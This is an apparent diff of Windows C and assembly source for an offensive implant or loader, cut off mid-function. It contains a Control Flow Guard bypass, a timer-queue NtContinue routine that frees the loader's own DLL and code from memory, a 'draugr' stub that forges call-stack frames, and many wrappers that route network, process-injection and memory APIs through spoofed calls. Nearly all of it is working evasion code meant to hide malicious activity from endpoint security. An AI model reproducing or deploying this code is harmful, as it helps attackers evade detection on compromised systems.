if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -0,0 +1,97 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
#define CTX_COUNT 3
|
||||
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
|
||||
|
||||
for ( int i = 0; i < CTX_COUNT; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico code */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico data */
|
||||
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
|
||||
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -0,0 +1,147 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -0,0 +1,464 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
DECLSPEC_IMPORT SOCKET WINAPI WS2_32$WSASocketA ( int, int, int, LPWSAPROTOCOL_INFOA, GROUP, DWORD );
|
||||
DECLSPEC_IMPORT int WINAPI WS2_32$WSAStartup ( WORD, LPWSADATA );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA ( LPCSTR );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hRequest );
|
||||
call.args [ 1 ] = spoof_arg ( lpszHeaders );
|
||||
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
|
||||
call.args [ 3 ] = spoof_arg ( lpOptional );
|
||||
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpszAgent );
|
||||
call.args [ 1 ] = spoof_arg ( dwAccessType );
|
||||
call.args [ 2 ] = spoof_arg ( lpszProxy );
|
||||
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
|
||||
call.args [ 4 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
|
||||
call.argc = 8;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hInternet );
|
||||
call.args [ 1 ] = spoof_arg ( lpszServerName );
|
||||
call.args [ 2 ] = spoof_arg ( nServerPort );
|
||||
call.args [ 3 ] = spoof_arg ( lpszUserName );
|
||||
call.args [ 4 ] = spoof_arg ( lpszPassword );
|
||||
call.args [ 5 ] = spoof_arg ( dwService );
|
||||
call.args [ 6 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 7 ] = spoof_arg ( dwContext );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
int WINAPI _WSAStartup ( WORD wVersionRequested, LPWSADATA lpWSAData )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$WSAStartup );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( wVersionRequested );
|
||||
call.args [ 1 ] = spoof_arg ( lpWSAData );
|
||||
|
||||
return ( int ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SOCKET WINAPI _WSASocketA ( int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WS2_32$WSASocketA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( af );
|
||||
call.args [ 1 ] = spoof_arg ( type );
|
||||
call.args [ 2 ] = spoof_arg ( protocol );
|
||||
call.args [ 3 ] = spoof_arg ( lpProtocolInfo );
|
||||
call.args [ 4 ] = spoof_arg ( g );
|
||||
call.args [ 5 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( SOCKET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hObject );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFile );
|
||||
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( flProtect );
|
||||
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
|
||||
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
|
||||
call.args [ 5 ] = spoof_arg ( lpName );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
|
||||
call.argc = 10;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpApplicationName );
|
||||
call.args [ 1 ] = spoof_arg ( lpCommandLine );
|
||||
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
|
||||
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 4 ] = spoof_arg ( bInheritHandles );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpEnvironment );
|
||||
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
|
||||
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
|
||||
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 3 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 4 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 1 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 2 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 5 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( rclsid );
|
||||
call.args [ 1 ] = spoof_arg ( pUnkOuter );
|
||||
call.args [ 2 ] = spoof_arg ( dwClsContext );
|
||||
call.args [ 3 ] = spoof_arg ( riid );
|
||||
call.args [ 4 ] = spoof_arg ( ppv );
|
||||
|
||||
return ( HRESULT ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( hSourceHandle );
|
||||
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
|
||||
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
|
||||
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 5 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 6 ] = spoof_arg ( dwOptions );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
|
||||
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
|
||||
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
|
||||
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwProcessId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread ( HANDLE hThread )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
|
